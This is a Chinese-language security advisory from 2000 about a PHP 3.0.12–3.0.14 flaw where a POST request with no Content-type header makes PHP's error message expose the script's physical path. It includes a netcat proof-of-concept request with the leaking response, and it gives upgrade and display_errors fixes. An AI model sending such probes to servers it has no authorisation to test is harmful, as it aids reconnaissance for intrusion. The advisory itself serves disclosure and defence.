首页 -> 安全研究

安全研究

安全漏洞
PHP 3.0.14 POST请求泄漏web物理路径漏洞

发布日期:2000-06-16
更新日期:2000-06-16

受影响系统:

PHP 3.0.12
PHP 3.0.13
PHP 3.0.14
不受影响系统:

PHP 3.0.9
PHP 4.0B2
PHP 4.0
PHP 4.0.1-dev
描述:

当提交一个不包含"Content-type"的非法POST请求给一个php CGI程序,
PHP 3.0.14会返回一条出错信息,里面会包含该php程序的真实物理路径。

<* 来源:  H D Moore <hdm@SECUREAUSTIN.COM>  *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


---[ PHP 3.0.14

hdm@atrophy:/var/www/htdocs/secureaustin > netcat www.secureaustin.com
80
POST /index.php3 HTTP/1.0
Host: www.secureaustin.com

HTTP/1.1 200 OK
Date: Thu, 15 Jun 2000 22:06:13 GMT
Server: Apache/1.3.11 (Unix) PHP/3.0.14 mod_ssl/2.5.0 OpenSSL/0.9.4
X-Powered-By: PHP/3.0.14
Connection: close
Content-Type: text/html

<br>
<b>Warning</b>:  POST Error: content-type missing in
<b>/home/www/htdocs/secureaustin/index.php3</b> on line <b>1



建议:
升级到PHP 4.0或者更高版本
临时解决办法:

在php(3).ini忠关掉错误信息显示开关:

将这一行:
display_errors  =       On      ; Print out errors (as a part of the HTML script)

改为:

display_errors  =       Off      ; Print out errors (as a part of the HTML script)


浏览次数:6256
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障